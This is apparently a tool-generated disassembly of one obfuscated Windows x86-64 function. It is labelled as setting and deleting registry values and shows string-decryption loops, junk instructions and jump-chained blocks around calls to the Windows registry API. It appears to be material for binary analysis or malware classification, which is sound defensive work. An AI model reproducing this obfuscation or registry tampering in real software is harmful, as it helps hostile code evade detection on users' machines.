Function at 0x1400087c0
Capabilities:
Delete registry value
Set registry value

Disassembly:
xchg rsi, rsp
mov rax, rsi
xchg rsi, rsp
xchg rbp, rbx
mov qword [rax + 8], rbp
xchg rbx, rbp
jmp 0x14000908b
sar edx, 1
mov eax, edx
xchg r11, r11
jmp 0x140008e2f
sub eax, 0x2b0494b1
add eax, 0x1778a8ba
lea r9, [r9 + 1]
jmp 0x140008af7
mov dword [rsp - 0x38], 0x455a093c
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov dword [rsp - 0x14], ecx
pshufhw xmm1, xmm0, 0xd8
jmp 0x140008cff
mov dword [rsp - 0x10], 0x3baff4fe
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
xchg rdx, rdx
jmp 0x140008c85
xchg rcx, rax
movaps xmmword [rcx - 0x38], xmm7
xchg rcx, rax
xchg rbp, rax
movaps xmmword [rbp - 0x48], xmm8
xchg rbp, rax
mov rax, qword [0x140248220]
jmp 0x140008f6e
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
mov dword [rsp - 0x2c], esi
paddw xmm3, xmm2
jmp 0x140009099
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x14], esi
jmp 0x140009039
sar edx, 1
mov eax, edx
shr eax, 0x1a
shr eax, 4
shr eax, 1
add edx, eax
jmp 0x140008f5f
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rbp - 0x65]
mov rbp, rbp
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010c320]
movdqa xmm7, xmmword [0x14010c2e0]
movdqa xmmword [rbp - 0x29], xmm0
jmp 0x140008a26
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
mov dword [rsp - 0x24], 0xe061112
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
jmp 0x140009103
mov dword [rsp - 0x14], 0x22b74222
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x140008c3b
sub rsp, 8
mov qword [rsp], rdi
push r14
lea rbp, [rax - 0x5f]
mov r10, r10
sub rsp, 0x23325347
jmp 0x140008c59
movups xmm1, xmmword [0x14010bcc0]
mov edi, dword [0x140248200]
mov r8d, ebx
jmp 0x140008ffc
mov edx, ebx
mov dword [rsp - 0x18], edx
movdqa xmm7, xmmword [0x14010c2e0]
xchg rbx, rsp
movaps xmmword [rbx + 0xa0], xmm9
xchg rsp, rbx
jmp 0x140008d23
sub eax, 0x262fd5f0
add eax, 0x17199a7f
xor eax, 0x7b7ea4a7
xor eax, 0x928a8b8
sub eax, 0x1becc7c5
add eax, 0x6bfcee52
sub eax, 0x4e607851
jmp 0x140008dc1
movd xmm0, edx
paddb xmm2, xmm0
mov r14, r14
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x1400090e8
mov rcx, rcx
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
neg r8d
jmp 0x14000915b
jl 0x140008fc8
cmp r8d, 0x1b
jge 0x140008fec
xchg r10, r10
movsxd rax, r8d
lea r9, [rbp - 0x69]
jmp 0x140008bf7
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xchg rbp, rbp
pxor xmm2, xmm0
movdqa xmm0, xmm3
jmp 0x140009135
movsxd rax, r8d
mov dword [rsp - 0x2c], ebx
lea r9, [rbp - 0x69]
add r9, rax
jmp 0x140008df1
movd xmm3, eax
mov dword [rsp - 0xc], ecx
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
jmp 0x1400091d7
mov dword [rsp - 0x2c], esi
mov edx, dword [rbp - 0x29]
movd xmm6, esi
movd xmm8, r14d
nop word [rax + rax]
mov dword [rsp - 0x30], 0x3abeef43
jmp 0x140008fc8
movzx eax, r8b
mov dword [rsp - 0x30], 0x6f43412a
inc r8d
sub al, cl
add al, 0x4b
sub al, 0x19
xor byte [r9 - 1], al
jmp 0x140008fdf
mov dword [rsp - 0x18], 0x4820972b
nop
add edx, 0x2e0b00fe
sub edx, 0x2e0b00f6
movdqa xmm1, xmm2
jmp 0x140008a85
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0x3c], ebp
punpckldq xmm1, xmm2
jmp 0x140008875
pshuflw xmm0, xmm2, 0xd8
xchg r12, r12
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000885e
xchg rbp, rbx
movups xmmword [rbx - 0x39], xmm1
xchg rbx, rbp
jmp 0x1400091c6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
mov r10, r10
pmulld xmm0, xmm7
psubd xmm3, xmm0
jmp 0x140008ce9
mov dword [rsp + 0x28], esi
lea rdx, [rbp - 0x69]
mov r9d, esi
mov dword [rsp - 0x2c], edi
mov qword [rsp + 0x20], rax
jmp 0x140008b5e
mov r11, r11
imul r8d
sar edx, 3
jmp 0x1400087d8
mov r15, r15
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
jmp 0x140008a67
movdqa xmm1, xmm2
movdqa xmm0, xmm2
mov dword [rsp - 0x44], esp
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
jmp 0x1400088f3
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x1c], edx
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
mov r13, r13
jmp 0x140008e88
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
xchg rsi, rsi
je 0x1400096c6
movups xmm0, xmmword [0x14010bd10]
jmp 0x140008c19
mov dword [rsp - 0x28], 0x45872e2b
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
xchg rsi, rsi
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140008987
mov dword [rsp - 0x38], ecx
mov r9d, 0x4ab4a633
add r9d, 0x5047564
add r9d, 0x2ccb90a6
sub r9d, 0x608b375c
sub r9d, 0xa036372
xor r9d, 0x3143fb56
jmp 0x1400091a4
movdqa xmm1, xmm2
mov dword [rsp - 0x2c], 0x2f5f2209
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
jmp 0x1400089a4
add r9, rax
mov dword [rsp - 0x34], 0x9ab672a
nop dword [rax]
nop word [rax + rax]
mov eax, 0x7e5c2b1d
jmp 0x14000895f
mov r8d, ebx
movups xmm1, xmmword [0x14010bd20]
mov dword [rsp - 0xc], 0x61a8ba0
xchg r14, rbp
movups xmmword [r14 - 0x69], xmm0
xchg rbp, r14
jmp 0x140008f1a
mov dword [rsp - 0x14], ecx
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg r14, r14
psubd xmm2, xmm0
jmp 0x140008e5a
add rsp, 0x23325267
xchg r12, rax
movaps xmmword [r12 - 0x28], xmm6
xchg r12, rax
jmp 0x140008841
mov r12, r12
xchg rsp, rsi
movaps xmm9, xmmword [rsi + 0xa0]
xchg rsp, rsi
jmp 0x1400096fb
movq qword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x140008d3e
jmp 0x140008c6f
mov rdi, rdi
sub al, cl
neg al
add al, 0xce
neg al
jmp 0x1400090b7
jl 0x1400089fd
movdqa xmm0, xmmword [str.2222222222222222]
mov dword [rsp - 0x1c], 0x3d6bc03
lea rcx, [rbp - 0x65]
movdqa xmm5, xmmword [0x14010c2c0]
movdqa xmm4, xmmword [0x14010c320]
jmp 0x140008f91
movd xmm2, r8d
lea eax, [r8 + 4]
mov dword [rsp - 0x2c], edx
jmp 0x1400090d6
pshuflw xmm0, xmm3, 0xd8
xchg r13, r13
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
jmp 0x140008e6e
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
xchg rcx, rcx
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
xchg r12, r12
jmp 0x1400089db
movdqa xmm9, xmmword [0x14010c2f0]
movd xmm6, esi
mov dword [rsp - 0x20], ebx
movd xmm8, r14d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
jmp 0x140008b05
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x20], 0x3bf664d
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x1400087f7
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
xchg r8, r8
jmp 0x140008da9
xor rcx, 0x7d1efffe
add rcx, 0x1da8016e
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
xchg r14, r14
jne 0x1400099cc
movzx eax, word [0x14010bd08]
jmp 0x140008e9e
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
jmp 0x140008b7e
add eax, 0x2e84e1fe
lea r9, [r9 + 1]
mov r12, r12
imul r8d
sar edx, 3
jmp 0x14000888c
movdqa xmm5, xmmword [0x14010c2c0]
lea rcx, [rbp - 0x69]
movdqa xmm4, xmmword [0x14010c320]
jmp 0x14000893e
nop dword [rax]
nop dword [rax + rax]
mov r8, r8
mov eax, 0x209046b4
add eax, 0x4469bdf7
xor eax, 0x53b79bb4
add eax, 0x2986c0c5
jmp 0x1400087e4
xchg r10, rbp
movups xmm1, xmmword [0x14010bd40]
xchg rdx, rdx
movups xmmword [rbp - 0x49], xmm0
jmp 0x140008ab1
shr eax, 0x14
shr eax, 0xb
add edx, eax
movsx eax, dl
jmp 0x140008f48
xchg rbp, r11
movsd qword [r11 - 0x39], xmm1
xchg r11, rbp
movups xmmword [rbp - 0x49], xmm0
xchg r15, r15
cmp edi, 2
jmp 0x140008ca8
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
jmp 0x14000881f
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x44], 0x6a7fc002
jmp 0x1400088d0
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
mov dword [rsp - 0x1c], ebp
jmp 0x1400089bc
mov r8d, ebx
mov dword [rsp - 0x1c], esp
movsd xmm1, qword [0x14010bd00]
mov word [rbp - 0x51], ax
movzx eax, byte [0x14010bd0a]
mov byte [rbp - 0x4f], al
xchg rbp, rbp
jmp 0x140008f31
pmuldq xmm0, xmm4
nop
sub r8d, 0x7ebe8082
add r8d, 0x7ebe808a
pmuldq xmm1, xmm4
jmp 0x140008d4a
movabs rcx, 0xffffffff3899e841
xor rcx, 0x3de9e608
add rcx, 0x3d2366eb
xor rcx, 0x1502077c
sub rcx, 0x2e3b51b6
xor rcx, 0x1c601b9d
sub rcx, 0x15ed39a5
jmp 0x140008d7e
movups xmm0, xmmword [0x14010bd30]
xchg r15, r15
xchg rbp, r10
movups xmmword [r10 - 0x59], xmm1
jmp 0x140008e19
xchg rdx, rbp
movsd qword [rdx - 0x59], xmm1
xchg rbp, rdx
movups xmm0, xmmword [0x14010bcf0]
jmp 0x140008fa9
mov dword [rsp - 0x40], 0x4653f5ab
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
jmp 0x140008c98
mov dword [rsp - 0x28], ebx
movsx eax, dl
imul ecx, eax, 0x35
jmp 0x140008a49
xor rax, rsp
xchg rbp, rbp
mov qword [rbp - 9], rax
movups xmm0, xmmword [0x14010bcb0]
movzx eax, word [0x14010bce8]
mov dword [rsp - 0x3c], ecx
xor ebx, ebx
jmp 0x140008929
movdqa xmm7, xmmword [0x14010c2e0]
mov r11, r11
movdqa xmmword [rbp - 0x29], xmm0
mov edx, dword [rbp - 0x29]
jmp 0x140009124
mov rcx, rcx
xchg r13, rbp
movups xmmword [r13 - 0x69], xmm0
xchg rbp, r13
cmp edi, 2
xchg r14, r14
jl 0x1400089cf
jmp 0x14000889f
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
jmp 0x14000907b
xchg r9, r9
cmp r8d, 0x1b
jl 0x140008c0f
mov rcx, qword [rbp - 0x19]
lea rax, [rbp - 0x11]
mov r10, r10
jmp 0x140008ade
mov dword [rsp - 0x3c], edi
mov dword [rbp - 0x11], edx
mov word [rbp - 0x31], ax
lea esi, [rbx + 4]
lea r14d, [rbx + 0x1f]
mov rsp, rsp
jmp 0x140009016
movups xmmword [rbp - 0x69], xmm0
movups xmm0, xmmword [0x14010bcd0]
xchg r8, rbp
movups xmmword [r8 - 0x59], xmm1
xchg rbp, r8
movsd xmm1, qword [0x14010bce0]
jmp 0x140008e3f
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov rsi, rsi
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
jmp 0x140008a9a
mov r14, r14
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov rsi, rsi
paddd xmm0, xmm1
jmp 0x140009180
mov rdx, rdx
paddd xmm2, xmm5
movd xmm3, eax
jmp 0x140008bd9
mov qword [rax + 0x18], rsi
push rbp
mov rdi, rdi
nop
jmp 0x14000890c
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
xchg rsp, rsp
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
jmp 0x140008b1a
xor byte [r9 - 1], al
mov dword [rsp - 0x28], 0xbb85482
cmp r8d, 0x3a
jl 0x140008e00
lea rax, [rbp - 0x19]
jmp 0x140008ba7
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
jmp 0x140008a10
mov dword [rsp - 0x10], 0x7b0d7001
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
jmp 0x14000905b
cmp r8d, 0x38
jl 0x140008cd7
mov dword [rsp - 0x34], 0x25428408
cmp r8d, 0x3a
jge 0x1400090cd
jmp 0x1400089fd
movd xmm6, esi
xchg rcx, rcx
movd xmm8, r14d
jmp 0x140008cd7
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
mov r8, r8
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0xc], 0x755853d7
jmp 0x140008ac0
add r8d, 0xfffffff8
neg r8d
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov dword [rsp - 0x1c], 0x7665c9a2
movdqa xmm0, xmm1
jmp 0x140008d68
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
xchg r15, r15
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
jmp 0x140008b3d
xor r9d, 0x20baea06
xor r8d, r8d
xchg r13, rax
mov qword [rsp + 0x20], r13
jmp 0x1400091ba
xchg r13, rax
lea rdx, [rbp - 0x69]
nop
jmp 0x140008ee1
cmp edi, 2
jl 0x1400091f3
mov r12, r12
jmp 0x140008dd8
punpckldq xmm1, xmm2
mov dword [rsp - 0x30], ebp
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
xchg rbx, rbx
jmp 0x140008ec3
lea r9, [rbp - 0x69]
nop dword [rax + rax]
mov eax, 0x37c076f0
sub eax, 0x2e1b83d9
xor eax, 0x1b5b321e
jmp 0x140009892
movabs rcx, 0xffffffff39321359
xor rcx, 0x10c5dc7e
xor rcx, 0x25c68d4b
jmp 0x14000929e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x4efa7b64
sub eax, 0x24bf5272
sub eax, 0x24c494ae
jmp 0x1400097c5
xor r9d, 0x435a0b60
add r9d, 0x592b5ec1
add r9d, 0x7c049f8
sub r9d, 0x6edb5bec
xor r8d, r8d
xchg r9, rax
mov qword [rsp + 0x20], r9
jmp 0x1400092f9
mov eax, r8d
sub eax, edx
mov r15, r15
shr eax, 1
jmp 0x140009901
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x1c], edx
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
jmp 0x14000975d
add rcx, 0x19fdd614
add rcx, 0x427ea307
sub rcx, 0xc043b8
xor rcx, 0x53a7bc2b
jmp 0x140009867
sar edx, 1
mov eax, edx
xchg r15, r15
shr eax, 0xe
shr eax, 0xe
shr eax, 2
jmp 0x14000954e
movd xmm3, eax
mov dword [rsp - 0x10], 0x4efcf284
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
mov rdi, rdi
jmp 0x1400093f3
xchg r9, rax
lea rdx, [rbp - 0x69]
xchg r14, r14
nop
jmp 0x140009213
pshufhw xmm1, xmm0, 0xd8
mov r10, r10
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x14010c300]
jmp 0x140009777
pmuldq xmm1, xmm4
mov r11, r11
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
xchg rbx, rbx
jmp 0x1400097f6
mov dword [rsp - 0x24], 0x4e13cad9
movd dword [rcx - 8], xmm2
cmp ebx, 0x10
jmp 0x140009395
movd xmm8, r14d
nop word [rax + rax]
mov rdx, rdx
movd xmm2, ebx
jmp 0x140009616
mov dword [rsp - 0x18], 0x4b158721
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
xchg r14, r14
jmp 0x140009854
jl 0x14000936a
mov dword [rsp - 0x40], 0x6b0e88fe
cmp ebx, 0x16
jge 0x14000965b
movsxd rax, ebx
mov r9, r9
jmp 0x1400097e8
movd dword [rcx - 8], xmm2
mov dword [rsp - 0x2c], 0x2e652eff
cmp r8d, 0x28
jmp 0x14000978c
lea rdx, [rbp - 0x69]
xchg rbp, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rbp - 0x19]
test eax, eax
mov dword [rsp - 0x1c], 0x14d67c9b
jne 0x140009a1a
jmp 0x140009230
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
mov dword [rsp - 0x30], 0x4af0408a
neg r8d
add r8d, 0xfffffff8
neg r8d
jmp 0x140009326
add edx, eax
movsx eax, dl
mov dword [rsp - 0x28], edx
imul ecx, eax, 0x35
movzx eax, bl
inc ebx
sub al, cl
jmp 0x1400094bd
nop word [rax + rax]
mov dword [rsp - 0x3c], edi
mov eax, 0x57d6fe65
xor eax, 0x4ca7392
xor eax, 0x57946875
add eax, 0x261f265f
jmp 0x1400099e7
movd xmm0, edx
mov r12, r12
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
mov rsp, rsp
jmp 0x1400094d7
jl 0x1400093ac
xchg rsp, rsp
movdqa xmm0, xmmword [str.2222222222222222]
lea rcx, [rbp - 0x65]
movdqa xmm5, xmmword [0x14010c2c0]
xchg r9, r9
movdqa xmm4, xmmword [0x14010c320]
jmp 0x140009956
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
mov r10, r10
psrld xmm0, xmm8
jmp 0x140009997
mov rdi, rdi
sub al, 0xce
xor byte [r8 - 1], al
cmp ebx, 0x16
mov r13, r13
jl 0x14000996f
jmp 0x14000965b
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
mov r15, r15
jmp 0x1400094a4
xchg r13, rbp
movdqa xmmword [r13 - 0x29], xmm0
xchg r13, rbp
mov edx, dword [rbp - 0x29]
movd xmm6, esi
movd xmm8, r14d
xchg rbx, rbx
jmp 0x140009841
jl 0x1400097a0
movdqa xmm0, xmmword [str.2222222222222222]
mov dword [rsp - 0x30], esi
lea rcx, [rbp - 0x65]
movdqa xmm5, xmmword [0x14010c2c0]
jmp 0x1400096d5
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
mov dword [rsp - 0x34], 0x57368421
pmuldq xmm0, xmm4
jmp 0x1400096a7
shr eax, 1
add edx, eax
movsx eax, dl
mov dword [rsp - 0x20], ebp
jmp 0x1400095a2
sub al, cl
mov r10, r10
add al, 0x58
sub al, 0x26
xor byte [r10 - 1], al
jmp 0x14000966a
movd xmm0, edx
paddb xmm2, xmm0
mov dword [rsp - 0x3c], 0x6378b641
movd xmm0, dword [rcx - 0xc]
jmp 0x140009530
sub eax, 0x19b89bd3
lea r10, [r10 + 1]
mov dword [rsp - 0x34], esp
imul r8d
sar edx, 3
jmp 0x1400092bf
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
jmp 0x14000955e
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
xchg rbp, rbp
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x1400097af
movsd xmm0, qword [0x14010bd70]
xchg rbp, rcx
movsd qword [rcx - 0x49], xmm0
xchg rbp, rcx
jmp 0x140009736
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
mov dword [rsp - 0x10], 0x68fd5b90
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14010c300]
packuswb xmm2, xmm2
paddb xmm2, xmm0
jmp 0x1400098eb
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
mov dword [rsp - 0xc], 0x4e431843
lea rcx, [rcx + 8]
paddd xmm2, xmm5
jmp 0x140009916
jne 0x140009a20
cmp byte [0x14010bd95], bl
xchg rbp, rbp
jmp 0x1400099fb
xchg r13, r13
sub ax, cx
add ax, 0x32
xor word [r9 - 2], ax
jmp 0x1400096ed
xchg rcx, rbx
mov rbx, qword [rbp - 0x19]
xchg rbx, rcx
jmp 0x1400093cd
cmp r8d, 0x2e
mov dword [rsp - 0x14], edi
jl 0x14000943e
lea rax, [rbp - 0x19]
mov r9d, 0x36e01ef3
sub r9d, 0x334bcb25
xor r9d, 0x4d30ebdc
jmp 0x14000924a
lea r8, [r8 + 1]
mov dword [rsp - 0xc], edx
imul ebx
sar edx, 4
jmp 0x1400099b2
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
mov dword [rsp - 0x14], edx
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
jmp 0x140009373
xchg rcx, rsp
mov rsp, qword [rbp - 0x19]
xchg rcx, rsp
jmp 0x1400099c3
movdqa xmm4, xmmword [0x14010c320]
xchg r11, r11
movdqa xmm7, xmmword [0x14010c2e0]
jmp 0x1400094ed
mov dword [rsp - 0x3c], ebp
cmp r8d, 0x20
jl 0x1400091ff
lea rcx, [rbp - 0x69]
mov dword [rsp - 0x30], 0x4ab1d8ff
call fcn.1400a0e70
jmp 0x1400096c6
xchg rbp, rsp
movups xmmword [rsp - 0x69], xmm0
xchg rbp, rsp
mov word [rbp - 0x55], ax
mov dword [rsp - 0x34], 0x25799c65
je 0x14000965b
cmp edi, 2
jmp 0x140009477
xchg r10, rbp
movups xmmword [r10 - 0x59], xmm1
xchg r10, rbp
cmp edi, 2
jmp 0x14000950d
mov edx, dword [rbp - 0x29]
mov dword [rsp - 0x44], 0x1109a1f2
movd xmm6, esi
jmp 0x140009357
packuswb xmm2, xmm2
mov dword [rsp - 0x40], 0x37502676
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140009457
packuswb xmm2, xmm2
xchg rdi, rdi
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
jmp 0x140009570
jl 0x140009841
cmp r8d, 0x2e
jge 0x140009678
mov dword [rsp - 0x34], ecx
movsxd rax, r8d
lea r10, [rbp - 0x69]
add r10, rax
jmp 0x14000942f
pmulld xmm0, xmm7
mov r8, r8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
jmp 0x140009308
add eax, 0x5c227e34
sub eax, 0x3b9bf685
sub eax, 0x1d6b6335
xor eax, 0x6ed9bd62
sub eax, 0x9e3af7b
xor eax, 0x5c645660
jmp 0x140009a22
lea r8, [rbp - 0x69]
add r8, rax
nop
jmp 0x14000996f
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
mov dword [rsp - 0x34], 0x3d44d9c
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
jmp 0x140009284
pand xmm2, xmmword [0x14010c300]
mov dword [rsp - 0x40], esi
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
jmp 0x140009342
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
jmp 0x1400098b5
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
jmp 0x14000981f
add rcx, 0x4bb5341e
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp - 0x14], 0x3f24220a
test eax, eax
jmp 0x140009633
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
jmp 0x140009647
xor eax, 0x3ccbe50a
add eax, 0x51c7f95b
xor eax, 0x79ef461d
add eax, 0x2f0e7470
lea r9, [r9 + 2]
mov rbp, rbp
mul r8d
jmp 0x140009275
mov dword [rsp - 0x38], ebp
lea rcx, [rcx + 8]
paddd xmm2, xmm5
jmp 0x1400092d4
mov word [rbp - 0x3d], ax
movups xmm0, xmmword [0x14010bd50]
xchg rdi, rdi
movups xmm1, xmmword [0x14010bd60]
xchg r14, rbp
movups xmmword [r14 - 0x69], xmm0
xchg rbp, r14
jmp 0x1400095d3
mov dword [rsp - 0x40], 0x66ccc1cb
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
jmp 0x1400093b7
add eax, edx
shr eax, 1
shr eax, 1
shr eax, 3
movzx eax, ax
mov dword [rsp - 0xc], edx
jmp 0x140009883
movd xmm3, eax
xchg rcx, rcx
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
mov dword [rsp - 0x2c], ebx
jmp 0x140009937
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
add ebx, 0x1b05219d
sub ebx, 0x1b052195
jmp 0x1400095b1
movdqa xmm7, xmmword [0x14010c2e0]
xchg rbp, r14
movdqa xmmword [r14 - 0x29], xmm0
xchg rbp, r14
jmp 0x140009749
mov eax, 0xbdfee16
add eax, 0xd3c0dd7
sub eax, 0x69aaa7d
add eax, 0x6a27d335
sub eax, 0x1776d290
add eax, 0x1a8cb08d
xor eax, 0x32f7714f
jmp 0x140009695
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x34], edx
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
jmp 0x1400095eb
mov eax, edx
shr eax, 0x13
shr eax, 0xa
shr eax, 1
shr eax, 1
jmp 0x140009417
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rdx
mov eax, dword [0x14010bd78]
mov r8d, ebx
mov dword [rbp - 0x41], eax
xchg rbx, rbx
movzx eax, word [0x14010bd7c]
jmp 0x1400098c6
xor eax, 0x6997c6e1
sub eax, 0x12b65621
add eax, 0x367798e1
jmp 0x14000958a
mov eax, dword [0x14010bd90]
movups xmm0, xmmword [0x14010bd80]
mov dword [rbp - 0x59], eax
movzx eax, word [0x14010bd94]
mov r15, r15
jmp 0x140009711
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp - 9]
mov dword [rsp - 0x34], esi
xor rcx, rsp
call fcn.1400dc920
lea r11, [rsp + 0xe0]
jmp 0x140009a54
mov rsp, r13
xchg r13, r11
pop r14
mov dword [rsp - 0x2c], 0xc08b32b
jmp 0x140009a9a
xchg r10, rbx
mov r10, qword [r11 + 0x20]
xchg r10, rbx
xchg rsi, rdx
mov rdx, qword [r11 + 0x30]
xchg rsi, rdx
jmp 0x140009a6d
xchg rbp, r11
movaps xmm6, xmmword [rbp - 0x10]
xchg rbp, r11
xchg r11, r14
movaps xmm7, xmmword [r14 - 0x20]
xchg r11, r14
jmp 0x140009a87
xchg rdi, r11
movaps xmm8, xmmword [rdi - 0x30]
xchg rdi, r11
xchg r13, r11
jmp 0x140009a3f
nop
mov rdi, qword [rsp]
add rsp, 8
pop rbp
mov r8, r8
ret